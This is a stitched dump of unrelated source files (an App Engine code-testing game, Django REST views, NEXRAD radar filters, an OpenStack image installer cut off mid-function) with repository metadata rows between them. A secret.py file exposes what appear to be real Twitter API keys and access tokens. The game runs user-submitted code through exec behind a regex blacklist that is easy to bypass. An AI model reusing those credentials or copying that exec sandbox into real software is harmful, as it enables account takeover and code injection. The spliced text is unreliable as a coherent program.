users.get_current_user() new_test.date_created = datetime.now() new_test.editor = users.get_current_user() new_test.code = code new_test.put() return self def IsAuthor(self, user): return not(self.author is None) and self.author == user def SaveIfNotSaved(self): if not self.is_saved(): self.save() def StartMatch(self, player, playerName): self.SaveIfNotSaved() match = Match() match.game = self match.number_of_tests_shown = 1 match.number_of_tests_ok = 0 match.number_of_tries = 0 match.player = player match.playerName = playerName match.datetime_started = datetime.now() match.datetime_lastaction = datetime.now() match.finished = False match.put() return match def Play(self, player = users.get_current_user(), player_name = None): if player_name is None: if player is None: player_name = 'Anonymous' else: player_name = player.nickname() match = None try : match = db.GqlQuery("Select * From Match Where game = :1 AND player = :2 Order by datetime_lastaction DESC", self, player).get() match.player_name = player_name except: match = None if match == None: match = self.StartMatch(player, player_name) else: if match.number_of_tests_shown is None: match.number_of_tests_shown = match.number_of_tests_ok return match # better call this Match class GameRun(db.Model): game = db.ReferenceProperty(Game) number_of_tests_shown = db.IntegerProperty() number_of_tests_ok = db.IntegerProperty() # deprecate as soon as possible number_of_tries = db.IntegerProperty() player = db.UserProperty() playerName = db.StringProperty() datetime_started = db.DateTimeProperty() datetime_lastaction = db.DateTimeProperty() finished = db.BooleanProperty() class Match(db.Model): game = db.ReferenceProperty(Game) number_of_tests_shown = db.IntegerProperty() number_of_tries = db.IntegerProperty() player = db.UserProperty() playerName = db.StringProperty() datetime_started = db.DateTimeProperty() datetime_lastaction = db.DateTimeProperty() finished = db.BooleanProperty() def SaveIfNotSaved(self): if not self.is_saved(): self.save() def GetImplementation(self, code = None): last = self.GetLastImplementation() if not last is None and (code is None or last.code == code): implementation = last elif code is None: implementation = self.GetStartImplementation() implementation.save() else: self.SaveIfNotSaved() implementation = Implementation(match = self, code = code, author = self.player, date_created = datetime.now()) implementation.save() return implementation def GetLastImplementation(self): last_implementation = None try : last_implementation = db.GqlQuery("Select * From Implementation Where match = :1 Order by date_created DESC", self).get() except: last_implementation = None return last_implementation def GetStartImplementation(self): self.SaveIfNotSaved() return Implementation(match = self, code = self.game.start_implementation, author = self.player, date_created = datetime.now()) def IsFinished(self): return self.finished def GetCurrentNumberOfTries(self): return (self.number_of_tries) if not (self.number_of_tries is None) else 0 def GetCurrentNumberOfTestsShown(self): return (self.number_of_tests_shown) if not (self.number_of_tests_shown is None) else 0 def GetNumberOfTestsInGame(self): return self.game.GetNumberOfTests() tests = None tests_to_show = None new_test = None def InitializeTestsCache(self): if self.tests is None: self.tests = self.game.GetTests() self.tests_to_show = [None] * self.GetCurrentNumberOfTestsShown() testnr = 0 for test in self.tests: if testnr < self.GetCurrentNumberOfTestsShown(): self.tests_to_show[testnr] = test elif testnr == self.GetCurrentNumberOfTestsShown(): self.new_test = test testnr += 1 def GetTestsToShow(self): self.InitializeTestsCache() return self.tests_to_show def GetNewTest(self): self.InitializeTestsCache() return self.new_test def RegisterTry(self): self.number_of_tries = self.GetCurrentNumberOfTries() + 1 return self def GetResultsOfNewTestRun(self, code): return self.RegisterTry().GetTestResults(self.GetImplementation(code), True) def GetCurrentTestResults(self): return self.GetTestResults(self.GetImplementation(), False) def GetCurrentTestResultsUsingStartImplementation(self): return self.GetTestResults(self.GetStartImplementation(), False) def AreAllResultsSuccessful(self, test_results): return all(map(lambda t:t.result == True, test_results)) def HasMoreTestsThanShown(self, number_of_tests_in_game): return self.number_of_tests_shown < number_of_tests_in_game def AreTestResultsNotEnoughToFinish(self, test_results, number_of_tests_in_game): return number_of_tests_in_game > 0 and self.HasMoreTestsThanShown(number_of_tests_in_game) or not self.AreAllResultsSuccessful(test_results) def ShowOneMoreTest(self): self.number_of_tests_shown = self.number_of_tests_shown + 1 def GetTestResults(self, implementation, is_attempt = False): tests = self.game.GetTests() results = {} results['for'] = implementation number_of_tests = 0 shown_tests = [] for test in tests: if number_of_tests < self.number_of_tests_shown: shown_tests.append(test) elif number_of_tests == self.number_of_tests_shown: new_test = test number_of_tests = number_of_tests + 1 attempt = Attempt.Create(match = self, implementation = implementation, number = self.number_of_tries + 1, tests = shown_tests) results['test_results'] = attempt.results if self.AreTestResultsNotEnoughToFinish(results['test_results'], number_of_tests): if self.AreAllResultsSuccessful(results['test_results']): if self.HasMoreTestsThanShown(number_of_tests): results['new_test'] = new_test; self.ShowOneMoreTest() self.finished = False else: self.finished = True self.datetime_lastaction = datetime.now() if is_attempt: self.put() return results class Implementation(db.Model): match = db.ReferenceProperty(Match) code = db.TextProperty() author = db.UserProperty() date_created = db.DateTimeProperty() class Attempt(db.Model): match = db.ReferenceProperty(Match) implementation = db.ReferenceProperty(Implementation) number = db.IntegerProperty() attempt_made_on = db.DateTimeProperty(auto_now_add=True) player = db.UserProperty() number_of_tests_to_run = db.IntegerProperty() number_of_tests_run = db.IntegerProperty() number_of_testruns_successful = db.IntegerProperty() results = [] @classmethod def Create(cls, match = None, implementation = None, number = 1, tests = [], player = users.get_current_user(), time = datetime.now()): Attempt = cls() Attempt.match = match Attempt.implementation = implementation Attempt.number = number Attempt.attempt_made_on = time Attempt.player = player Attempt.results = [] Attempt.number_of_tests = len(tests) Attempt.put() Attempt.Run(tests) return Attempt def Run(self, tests): for test in tests: testrun = test.Run(self.implementation) testrun.attempt = self testrun.put() self.results.append(testrun) class Test(db.Model): game = db.ReferenceProperty(Game) number = db.IntegerProperty() code = db.StringProperty(multiline=True) author = db.UserProperty() date_created = db.DateTimeProperty() editor = db.UserProperty() date_edited = db.DateTimeProperty(auto_now_add=True) def Run(self, implementation, tester = users.get_current_user()): if not implementation.is_saved(): implementation.save() testRun = TestRun(game = self.game, test = self, implementation = implementation, tester = tester, date_created = datetime.now(), result = False) local_scope = {} global_scope = self.get_global_scope() try: exec self.replace_dangerous_statements(self.remove_carriage_return(implementation.code)) in global_scope, local_scope try: exec self.remove_carriage_return(self.code) in global_scope.update(local_scope), local_scope testRun.result = True except AssertionError, inst: testRun.error = "Assertion failed: " + str(inst); except SyntaxError, inst: testRun.error = "Parsing the test failed: " + str(inst); except Exception, inst: testRun.error = "Running the test failed: " + str(inst); except SyntaxError, inst: testRun.error = "Parsing the implementation failed: " + str(inst); except Exception, inst: testRun.error = "Couldn't execute your implementation: " + str(inst); return testRun def replace_dangerous_statements(self, code): p = re.compile( '(\W|^)(eval|exec|import)(\W|$)') return p.sub( '#', code) def remove_carriage_return(self, input): return input.replace("\r", ""); def get_global_scope(self): global_scope = {} global_scope['__builtins__'] = {} whitelist = ['bytearray','IndexError','all','help','vars','SyntaxError','unicode','UnicodeDecodeError','isinstance', 'hasattr', 'getattr' 'copyright','NameError','BytesWarning','dict','oct','bin','StandardError','format','repr','sorted','False', 'RuntimeWarning','list','iter','Warning','round','cmp','set','bytes','reduce','intern','issubclass','Ellipsis', 'EOFError','BufferError','slice','FloatingPointError','sum','abs','print','True','FutureWarning','ImportWarning', 'None','hash','ReferenceError','len','credits','frozenset','ord','super','TypeError','license','KeyboardInterrupt', 'UserWarning','filter','range','staticmethod','SystemError','BaseException','pow','RuntimeError','float', 'MemoryError','StopIteration','divmod','enumerate','apply','LookupError','basestring','UnicodeError','zip','hex', 'long','next','ImportError','chr','xrange','type','Exception','tuple','UnicodeTranslateError','reversed', 'UnicodeEncodeError','IOError','SyntaxWarning','ArithmeticError','str','property','GeneratorExit','int','KeyError', 'coerce','PendingDeprecationWarning','EnvironmentError','unichr','id','OSError','DeprecationWarning','min', 'UnicodeWarning','any','complex','bool','ValueError','NotImplemented','map','buffer','max','object','TabError', 'ZeroDivisionError','IndentationError','AssertionError','classmethod','UnboundLocalError','NotImplementedError', 'AttributeError','OverflowError','WindowsError','__name__'] for key in __builtins__: if key in whitelist: global_scope['__builtins__'][key] = __builtins__[key] return global_scope class TestRun(db.Model): game = db.ReferenceProperty(Game) attempt = db.ReferenceProperty(Attempt) implementation = db.ReferenceProperty(Implementation) test = db.ReferenceProperty(Test) result = db.BooleanProperty() error = db.StringProperty() tester = db.UserProperty() date_created = db.DateTimeProperty() def HasImplementation(self): try: return not self.implementation is None except: return False
UTF-8
Python
false
false
2,012
16,492,674,455,759
fe1eb36d6f448287d9ed2e3b3ab8c77ec1ffb7ac
fbd83e3d082be554f551a5681d98a955af460955
/SConstruct
6a6832b0e7b83b8233b0f08c5a48bf0d5888aba3
[]
no_license
cfobel/cpp_templated_factory
https://github.com/cfobel/cpp_templated_factory
e5014ed408d06e2dc7de326f6725dd1fcc404ef8
bfa62acf446477fa819c87cbd1d3f734deec800e
refs/heads/master
2020-04-23T13:57:25.369317
2011-06-23T18:58:03
2011-06-23T18:58:03
1,943,540
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
Program('templated_factory.cpp')
UTF-8
Python
false
false
2,011
11,759,620,466,851
f39107ea2784c7ef7eba78a9888a6977606069ef
4e7f16f67b52155b21c7eeb023f2f60f5b3d5c0d
/pynexradml/filters.py
e816218297b73b6a1e2984e83e1ff3715d76be86
[]
no_license
DailyActie/AI_APP_HYD-py-nexrad-ml
https://github.com/DailyActie/AI_APP_HYD-py-nexrad-ml
26b3d6202ae90bbe16e5c520d18ac07d2cd49778
bdee8f72cbcf6728deec796e41a70c254b327e75
refs/heads/master
2020-12-12T02:04:26.811108
2012-11-28T02:22:08
2012-11-28T02:22:08
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
import numpy as np BADVAL = 0x20000 RFVAL = 0x1FFFF class Filter(object): def __init__(self): self.requiredFeatures = [] class RangeConstraints(Filter): def __init__(self, minRange=20000, maxRange=145000): super(RangeConstraints, self).__init__() self.minRange = int(minRange) self.maxRange = int(maxRange) self.requiredFeatures.append('Range()') def apply(self, fmap): data = fmap['Range()'] for i in xrange(len(data)): if (data[i] < self.minRange) or (data[i] > self.maxRange): fmap['_filter_'][i] = 1 class SmootheBadValues(Filter): def __init__(self, baseFeature, badValue=True, rangeFolded=True): super(SmootheBadValues, self).__init__() baseFeature += '()' self.bad = (badValue and (badValue != "False")) self.rf = (rangeFolded and (rangeFolded != "False")) self.baseFeature = baseFeature self.requiredFeatures.append(baseFeature) def apply(self, fmap): data = fmap[self.baseFeature] avg = np.mean(data) for i in xrange(len(data)): if self.bad and data[i] == BADVAL: data[i] = avg elif self.rf and data[i] == RFVAL: data[i] = avg class RemoveBadValues(Filter): def __init__(self, baseFeature, badValue=True, rangeFolded=True): super(RemoveBadValues, self).__init__() baseFeature += '()' self.bad = (badValue and (badValue != "False")) self.rf = (rangeFolded and (rangeFolded != "False")) self.baseFeature = baseFeature self.requiredFeatures.append(baseFeature) def apply(self, fmap): data = fmap[self.baseFeature] for i in xrange(len(data)): if (self.bad and data[i] == BADVAL) or (self.rf and data[i] == RFVAL): fmap['_filter_'][i] = 1 class SubSample(Filter): def __init__(self, samplePercent): super(SubSample, self).__init__() self.threshold = float(samplePercent) def apply(self, fmap): data = fmap['_filter_'] for i in xrange(len(data)): if np.random.rand() > self.threshold: data[i] = 1
UTF-8
Python
false
false
2,012
17,033,840,298,370
e2dd7899a24e65155611e227eddd36dc0a12e9da
ccf3d1ab85b96e9f0e6dd65730b1864b31f9a732
/presenter/views.py
1693613437e315c509bf1233a5aea6cca2c0e62f
[]
no_license
kit-ipe/Display-Data
https://github.com/kit-ipe/Display-Data
90390f86b689f54ce17f9304e761a39267cd7f18
ba968d30d91d43a45d88dc0e270737072492595e
refs/heads/master
2016-08-05T08:58:38.205800
2014-05-26T16:32:06
2014-05-26T16:32:06
20,017,495
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
from django.shortcuts import render_to_response from django.template import RequestContext from django.http import HttpResponse from django.conf import settings from django.shortcuts import render from rest_framework import status from rest_framework.decorators import api_view, throttle_classes, renderer_classes from rest_framework.response import Response from rest_framework import authentication, permissions, renderers from rest_framework.parsers import JSONParser from rest_framework.renderers import JSONRenderer, JSONPRenderer from presenter.models import * from presenter.serializers import * #import json from django.utils import simplejson from django.utils.safestring import mark_safe import pdb import itertools import sys # Create your views here. import django_tables2 as tables import json from presenter.getdata import adeiReader from collections import OrderedDict import time # class SensorTable(tables.Table): # class Meta: # model = Sensor # #attrs = {'name', 'group', 'uid', 'mask'} class SensorTable(tables.Table): #choice = tables.CheckBoxColumn(attrs={'th__input':{"th_key": "th_value"},'td__input':{"td_key": "td_value"}}) #choice = tables.TemplateColumn('<input type="checkbox"/>') #choice = tables.CheckBoxColumn(accessor='choice') choice = tables.CheckBoxColumn(orderable=False, attrs = { "th__input": {"onclick": "toggle_rows(this)"}}) name = tables.TemplateColumn('<a href="{{record.url}}">{{record.name}}</a>') def render_choice(self, record, value): return mark_safe('<input class="nameCheckBox" name="name[]" type="checkbox"/>') #return mark_safe('<input class="nameCheckBox" name="name[]" type="checkbox"/>') class Meta: model = Sensor attrs = {'class': 'paleblue'} #fields = ('id', 'name', 'group', 'mask', 'uid') fields = ('choice', 'name', 'mask', 'uid') class GroupTable(tables.Table): name = tables.TemplateColumn('<a href="{{record.url}}">{{record.name}}</a>') class Meta: model = Group attrs = {'class': 'paleblue'} fields = ('name', 'mask') #fields = ('id', 'name', 'database', 'mask') def get_projectname(projlink): projectname = None if not Project.objects.filter(link=projlink): return False else: projectname = Project.objects.get(link=projlink).name return projectname def get_groupname(groupmask): if not Group.objects.filter(mask=groupmask): return False else: groupname = Group.objects.get(mask=groupmask).name return groupname @api_view(['GET']) @renderer_classes((JSONRenderer, JSONPRenderer)) def get_all_sensors(request, projlink, format=None): #data = json.loads(request.body) #json_to_return = '' sensor_list = [] projectname = get_projectname(projlink) if not projectname: return Response(projlink + ' doesnt exist', status=status.HTTP_404_NOT_FOUND) #pdb.set_trace() try: sensors = Sensor.objects.select_related('project__server__database__group') except Exception as e: return Response('Error occured', status=status.HTTP_500_INTERNAL_SERVER_ERROR) for sensor in sensors: sensor_dict = dict( group=str(sensor.group.name), name=str(sensor.name), mask=str(sensor.mask), uid=str(sensor.uid), id=str(sensor.id) ) sensor_list.append(sensor_dict) #json_to_return += str(sensor.id) + ' ' + simplejson.dumps(sensor_dict,ensure_ascii=False) + '\n' #10 {'group': '2', 'id': 10, 'name': '535-RTY-0-1020-0001 [temperature] Temperature sensor: cooling water inlet [Cooling Water]', 'uid': '535-RTY-0-1020-0001 [temperature] Temperature sensor: cooling water inlet'} #database = Database.objects.get() bannertext = projectname + " ADEI" if format==None or format=='table': #table = SensorTable(sensors) table = SensorTable(sensor_list) return render_to_response("presenter/info_to_table.html", {"table": table, "bannertext": bannertext}, context_instance=RequestContext(request)) #return HttpResponse(sensor_list, status=200) elif format=='json': return HttpResponse(sensor_list, status=200) else: #table = SensorTable(sensors) table = SensorTable(sensor_list) return render_to_response("presenter/info_to_table.html", {"table": table}, context_instance=RequestContext(request)) @api_view(['GET']) @renderer_classes((JSONRenderer, JSONPRenderer)) def get_sensor_by_id(request, projlink, sensorid, format=None): #data = json.loads(request.body) projectname = get_projectname(projlink) if not projectname: return Response(projlink + ' doesnt exist', status=status.HTTP_404_NOT_FOUND) try: sensor = Sensor.objects.select_related('project__server__database__group').get(id=sensorid) except Exception as e: return Response('Error occured', status=status.HTTP_500_INTERNAL_SERVER_ERROR) sensor_dict = dict( group=str(sensor.group.name), name=str(sensor.name), mask=str(sensor.mask), uid=str(sensor.uid), id=str(sensor.id) ) if format==None or format=='table': #table = SensorTable(sensors) table = SensorTable([sensor_dict]) return render_to_response("presenter/info_to_table.html", {"table": table}, context_instance=RequestContext(request)) #return HttpResponse(sensor_list, status=200) elif format=='json': return HttpResponse([sensor_dict], status=200) else: #table = SensorTable(sensors) table = SensorTable([sensor_dict]) return render_to_response("presenter/info_to_table.html", {"table": table}, context_instance=RequestContext(request)) @api_view(['GET']) @renderer_classes((JSONRenderer, JSONPRenderer)) def get_all_groups(request, projlink, format=None): #data = json.loads(request.body) group_list = [] #pdb.set_trace() projectname = get_projectname(projlink) if not projectname: return Response(projlink + ' doesnt exist', status=status.HTTP_404_NOT_FOUND) try: #groups = Group.objects.select_related('project__server__database') #except Exception as e: #return Response('Error occured', status=status.HTTP_500_INTERNAL_SERVER_ERROR) #pdb.set_trace() project = Project.objects.get(link=projlink) servers = Server.objects.filter(project_id=project.id) base_url = 'http://' + request.get_host() + request.path for server in servers: databases = Database.objects.filter(server_id=server.id) for database in databases: groups = Group.objects.filter(database_id=database.id) for group in groups: group_dict = dict( id=str(group.id), name=str(group.name), mask=str(group.mask), database=str(group.database.name), url=str(base_url + str(server.mask) + '/' + str(database.mask) + '/' + str(group.mask)+'/'), ) group_list.append(group_dict) except Exception as e: return Response('Error occured', status=status.HTTP_500_INTERNAL_SERVER_ERROR) bannertext = projectname + " ADEI" if format==None or format=='table': #table = SensorTable(sensors) table = GroupTable(group_list) return render_to_response("presenter/info_to_table.html", {"table": table, "bannertext": bannertext}, context_instance=RequestContext(request)) #return HttpResponse(sensor_list, status=200) elif format=='json': return HttpResponse(group_list, status=200) else: #table = SensorTable(sensors) table = GroupTable(group_list) return render_to_response("presenter/info_to_table.html", {"table": table}, context_instance=RequestContext(request)) @api_view(['GET']) @renderer_classes((JSONRenderer, JSONPRenderer)) def get_all_sensors_in_group(request, projlink, servermask, dbmask, groupmask, format=None): #data = json.loads(request.body) sensor_list = [] #pdb.set_trace() projectname = get_projectname(projlink) if not projectname: return Response(projlink + ' doesnt exist', status=status.HTTP_404_NOT_FOUND) groupname = get_groupname(groupmask) if not groupname: return Response(groupmask + ' doesnt exist', status=status.HTTP_404_NOT_FOUND) if not Server.objects.filter(mask=servermask): return Response('Server: ' + servermask + ' doesnt exist', status=status.HTTP_404_NOT_FOUND) if not Database.objects.filter(mask=dbmask): return Response('Database: ' + dbmask + ' doesnt exist', status=status.HTTP_404_NOT_FOUND) try: project = Project.objects.get(link=projlink) server = Server.objects.get(mask=servermask) database = Database.objects.get(mask=dbmask, server_id=server.id) group = Group.objects.get(mask=groupmask, database_id=database.id) sensors = group.sensor_set.all() except Exception as e: return Response('Error occured', status=status.HTTP_500_INTERNAL_SERVER_ERROR) base_url = 'http://' + request.get_host() + request.path for sensor in sensors: sensor_dict = dict( group=str(sensor.group.name), name=str(sensor.name), mask=str(sensor.mask), uid=str(sensor.uid), id=str(sensor.id), url=base_url+str(sensor.mask), choice='<input type="checkbox" />', ) sensor_list.append(sensor_dict) bannertext = "ADEI/"+ projectname + "/" + groupname if format==None or format=='table': #table = SensorTable(sensors) table = SensorTable(sensor_list) #table.columns['choice'].header = '<input type="checkbox"/> Choice' print table.columns['choice'].header #table.columns['choice'].header = 1 return render_to_response("presenter/info_to_table.html", {"table": table, "bannertext": bannertext}, context_instance=RequestContext(request)) #return HttpResponse(sensor_list, status=200) elif format=='json': return HttpResponse(sensor_list, status=200) else: #table = SensorTable(sensors) table = SensorTable(sensor_list) return render_to_response("presenter/info_to_table.html", {"table": table}, context_instance=RequestContext(request)) @api_view(['GET']) @renderer_classes((JSONRenderer, JSONPRenderer)) def get_sensor_in_group(request, projlink, groupmask, sensormask, format=None): #data = json.loads(request.body) sensor_list = [] #pdb.set_trace() if not Project.objects.filter(link=projlink): return Response(projlink + ' doesnt exist', status=status.HTTP_404_NOT_FOUND) try: group = Group.objects.select_related('project__server__database__group').get(mask=groupmask) sensor = group.sensor_set.all().get(mask=sensormask) except Exception as e: return Response('Error occured', status=status.HTTP_500_INTERNAL_SERVER_ERROR) sensor_dict = dict( group=str(sensor.group.name), name=str(sensor.name), mask=str(sensor.mask), uid=str(sensor.uid), id=str(sensor.id), ) # sensor_dict = dict( # group=sensor.group.name, # name=sensor.name, # mask=sensor.mask, # uid=sensor.uid, # id=sensor.id # ) return HttpResponse([sensor_dict], status=200) # if format==None or format=='table': # #table = SensorTable(sensors) # table = SensorTable([sensor_dict]) # return render_to_response("presenter/info_to_table.html", {"table": table}, context_instance=RequestContext(request)) # #return HttpResponse(sensor_list, status=200) # elif format=='json': # return HttpResponse([sensor_dict], status=200) # else: # #table = SensorTable(sensors) # table = SensorTable([sensor_dict]) # return render_to_response("presenter/info_to_table.html", {"table": table}, context_instance=RequestContext(request)) @api_view(['GET']) @renderer_classes((JSONRenderer, JSONPRenderer)) def get_sensor_data(request, projlink, servermask, dbmask, groupmask, sensormask, format=None): #def get_sensor_data(request, *args, **kwargs): print request.GET params = request.GET isData = params.get('data') if not projlink: return Response('Please specify project', status=status.HTTP_404_NOT_FOUND) if not groupmask: return Response('Please specify mask of group (db_group)', status=status.HTTP_404_NOT_FOUND) if not servermask: return Response('Please specify mask of server (db_server)', status=status.HTTP_404_NOT_FOUND) if not dbmask: return Response('Please specify mask of database (db_mask)', status=status.HTTP_404_NOT_FOUND) if not sensormask: return Response('Please specify mask of sensor (mask)', status=status.HTTP_404_NOT_FOUND) if not Project.objects.filter(link=projlink): return Response(projlink + ' doesnt exist', status=status.HTTP_404_NOT_FOUND) try: project = Project.objects.get(link=projlink) server = Server.objects.get(mask=servermask, project_id=project.id) database = Database.objects.get(mask=dbmask, server_id=server.id) group = Group.objects.get(mask=groupmask, database_id=database.id) sensor = group.sensor_set.all().get(mask=sensormask) except Exception as e: return Response('Error occured', status=status.HTTP_500_INTERNAL_SERVER_ERROR) host = project.host + '/' + project.adei_address servermask = server.mask name = database.mask #def getSensorData(self, id_, groupname, starttime, deltatime=86400, resample=10): reader = adeiReader() reader.setup(host, servermask, name) #pdb.set_trace() starttime = params.get('start') deltatime = params.get('delta') resample = params.get('factor') #sensor_dict = dict( sensor_dict = OrderedDict([ ('group', str(sensor.group.name)), ('name', str(sensor.name)), ('mask', str(sensor.mask)), ('uid', str(sensor.uid)), ('id', str(sensor.id)), ('database', str(database.name)), ('server', str(server.name))]) if not isData: return Response(sensor_dict, status=status.HTTP_200_OK) try: start = time.clock() sensor_dict['data'] = reader.getSensorData(sensormask, groupmask, starttime, deltatime, resample) elapsed = time.clock() elapsed = elapsed - start print "Time spent for getting and parsing data: ", elapsed except: print sys.exc_info()[0] return Response('Error occured', status=status.HTTP_500_INTERNAL_SERVER_ERROR) return Response(sensor_dict, status=status.HTTP_200_OK)
UTF-8
Python
false
false
2,014
8,323,646,631,425
cc8b1c73d1c9ee9e0d4ec3c56cfa7cb29f7a83a4
ffda0f79a0e48a29f61f5c1026309a9c8acc17fc
/Python/secret.py
98acb9881d2f716c20ecd10a8839d1ed6bc9de46
[]
no_license
twol/Workspace
https://github.com/twol/Workspace
64eeca42a9a6d943514bd4b5368c9de1e5133760
3b064815aed146ebf24f92acdf3f33a132ba58c8
refs/heads/master
2021-01-01T18:54:11.234072
2014-11-13T23:00:30
2014-11-13T23:00:30
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
dict = { 'consumer_key' : '03qZsTOrjpcKnDotiwhC5g', 'consumer_secret' : 'R9OYu68Wy6YgxmI8IbKPVIHrzeeANNmvjqvxPIXQE', 'access_token_key' : '174199131-ddgdSao7zUDMBbv63SnafaMopRlYXifW7wDqOLWR', 'access_token_secret' : 'R4h1u1bgndCqNUI1On9Cs3dGaPRN2btru5b2XVi11D0' }
UTF-8
Python
false
false
2,014
15,590,731,324,387
1c84b79e8403ead43f17bdbc263c0278b7b68be6
0a01e4b6c1b04e523b948fd224cefd757f1b2f26
/guesti/cloud/os/commands.py
a104bb94b495e0c81b494a3fee8f48a571fba840
[ "GPL-3.0-only", "GPL-3.0-or-later" ]
non_permissive
YKonovalov/guesti
https://github.com/YKonovalov/guesti
6bdc6f59eda6aba3873bcc6b684a36b32c50bc84
f8dc8c007fe04ebea7a9f343117b5c90edace174
refs/heads/master
2016-09-09T20:59:16.917769
2014-08-01T15:37:30
2014-08-01T15:37:30
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
# This file is part of GuestI. # # GuestI is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # SSP is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with GuestI. If not, see <http://www.gnu.org/licenses/>. import sys import traceback import argparse from time import sleep, gmtime, strftime import abc from guesti.cloud.common import ABS_CLOUD from guesti.envdefault import EnvDefault import guesti.constants from glanceclient import client as glance_client from cinderclient import client as cinder_client from keystoneclient.v2_0 import client as keystone_client from novaclient import client as nova_client import logging LOG = logging.getLogger(guesti.constants.PROGRAM_NAME + ".os") LOADER_NAME = "Cloud iPXE installers boot ISO image" def add_args_os(parser): p_os = parser.add_argument_group('OpenStack Environment', """OpenStack credentials for accessing cloud services. It's recommended to create a restricted user account if you planning to store credentials to be able to run this tool from cron. You can also specify this options using corresponding environment variables.""") p_os.add_argument('--os-auth-url', action=EnvDefault, envvar='OS_AUTH_URL', help='URL for keystone API endpoint') p_os.add_argument('--os-region-name', action=EnvDefault, envvar='OS_REGION_NAME', required=False, help='Region name to use for running installator instance') p_os.add_argument('--os-tenant-id', action=EnvDefault, envvar='OS_TENANT_ID', help='Project id to use for running installator instance') p_os.add_argument('--os-tenant-name', action=EnvDefault, envvar='OS_TENANT_NAME', help='Project name to use for running installator instance') p_os.add_argument('--os-username', action=EnvDefault, envvar='OS_USERNAME', help='username for keystone authentication') p_os.add_argument('--os-password', action=EnvDefault, envvar='OS_PASSWORD', help='secret for keystone authentication') p_os.add_argument('--os-image-url', action=EnvDefault, envvar='OS_IMAGE_URL', help='URL for Glance image storage API endpoint') return p_os def add_args_to_parser(parser): # cloud p_cloud = parser.add_parser('os', help='OpenStack cloud') p_command = p_cloud.add_subparsers(title='Supported commands', help=False, dest='command') # install p_install = p_command.add_parser('install', help='Launch and snapshot a scripted install using modified iPXE image') p_install_template = p_install.add_argument_group('Template', """A machine template attributes to be used to register image""") p_install_template.add_argument('--template-name', '-t', dest='template_name', required=True, help='Name to assign to newly created template') p_install_instance = p_install.add_argument_group('Installator Instance Parameters', """Installation will be performed in cloud VM instance. Here you can adjust VM attributes according to OS installer system requirements.""") p_install_instance.add_argument('--ipxe-image-id', action=EnvDefault, envvar='IPXE_IMAGE_ID', help="""Special cloud ipxe.iso boot image snapshot is required for installers boot to succeed. It should be modified to request iPXE script from cloud user-data URL. See more info in README. Please specify existing snapshot-id of cloud ipxe image. You can upload and create snapshot with os-upload-cloud-ipxe tool""") p_install_instance.add_argument('--install-flavor-id', action=EnvDefault, envvar='INSTALL_FLAVOR_ID', help='Type of installation machine') p_install_instance.add_argument('--install-network-id', action=EnvDefault, envvar='INSTALL_NETWORK_ID', help='Network to use for installation') p_install_instance.add_argument('--virtualization-type', dest='virt_type', choices=['kvm-virtio', 'kvm-lagacy'], default="kvm-virtio", help='Specify "kvm-lagacy" for guest with no support for VirtIO (default: kvm-virtio). Will be inherited by result template.') p_install_loader = p_install.add_argument_group('PXE Loader Parameters', """Required iPXE loader options for booting OS installer from the network. It could be either Linux boot options or multiboot options. For Linux you must specify --kernel and --initrd. For multiboot --kernel and one or more --module normally required.""") p_install_loader.add_argument('--kernel', dest='kernel', required=True, help='URL for installer kernel file with kernel options to make auto install happend. E.g. "repo={URL} ks={URL}" for anaconda-based distros and "preseed/url={URL} ..." for debian-based distros.') p_install_loader.add_argument('--initrd', dest='initrd', help='URL for installer initrd file (for normal boot)') p_install_loader.add_argument('--module', action='append', dest='modules', help='URL(s) for installer modules file (for multiboot)') p_install_loader.add_argument('--chain', dest='chain', help='URL for installer chain loader file (for generic network boot)') add_args_os(p_install) # upload p_upload = p_command.add_parser('upload_loader', help='Upload to Glance storage and make a snapshot of iPXE boot image in the cloud') p_upload_os = add_args_os(p_upload) p_upload.add_argument('--ipxe-file', type=argparse.FileType('r'), help='iPXE boot loader file', default="ipxe.iso") class OS_CLOUD(ABS_CLOUD): """ OpenStack Cloud interface""" name = "os" __cleanup = True __quiet = None __menu = None __runid = None template_name = None installer_name = None installer_image_id = None bootdisk_size = None virt_type = None install_flavor_id = None auth_url = None tenant = None username = None password = None glance_url = None def __init__(self, args): super(OS_CLOUD, self).__init__(args) self.__cleanup = args.cleanup self.__quiet = args.quiet self.__runid = strftime("%Y%m%d-%H%M%S", gmtime()) # Cloud endpoints and credentials self.auth_url = args.os_auth_url self.region = args.os_region_name self.tenant = args.os_tenant_id self.tenant_name = args.os_tenant_name self.username = args.os_username self.password = args.os_password if args.command == "upload_loader": self.glance_url = args.os_image_url LOG.debug("cloud: {0}, image storage: {1}".format(self.auth_url, self.glance_url)) elif args.command == "install": # Prepare loader menu modules = "" if args.modules: for m in args.modules: modules = modules + "module " + m + "\n" kernel = args.kernel initrd = "initrd " + args.initrd + "\n" if args.initrd else "\n" chain = args.chain if chain: self.__menu = "#!ipxe\nchain {0}\n".format(chain) else: self.__menu = "#!ipxe\nkernel {0}\n{1}{2}boot\n".format(kernel, initrd, modules) LOG.debug("iPXE script:\n---\n{0}\n---\n".format(self.__menu)) # Template params self.template_name = args.template_name + " (updated " + strftime("%Y-%m-%d", gmtime()) + ")" LOG.debug("Template: {0}".format(self.template_name)) # Install machine params self.installer_name = "Installer of {0}".format(args.template_name) self.installer_image_id = args.ipxe_image_id self.install_network_id = args.install_network_id self.virt_type = args.virt_type self.install_flavor_id = args.install_flavor_id self.glance_url = args.os_image_url LOG.debug("installer: {0}, loader: {1}, boot: {2}, virt: {3}, machine: {4}".format( self.installer_name, self.installer_image_id, self.bootdisk_size, self.virt_type, self.install_flavor_id)) LOG.debug("cloud: {0}".format(self.auth_url)) LOG.info("Initialized") def install(self): """ Launch os installer, wait for it to finnish and take a snapshot """ # run time globals c2c = None instance_id = None install_ok = False image_id = None image_ok = False success = False exitcode = 0 try: # Install LOG.info("About to run install instance from {0} with disk {1} and name {2} ".format( self.installer_image_id, self.bootdisk_size, self.installer_name)) osk = keystone_client.Client(username=self.username, password=self.password, tenant_id=self.tenant, auth_url=self.auth_url) #if not 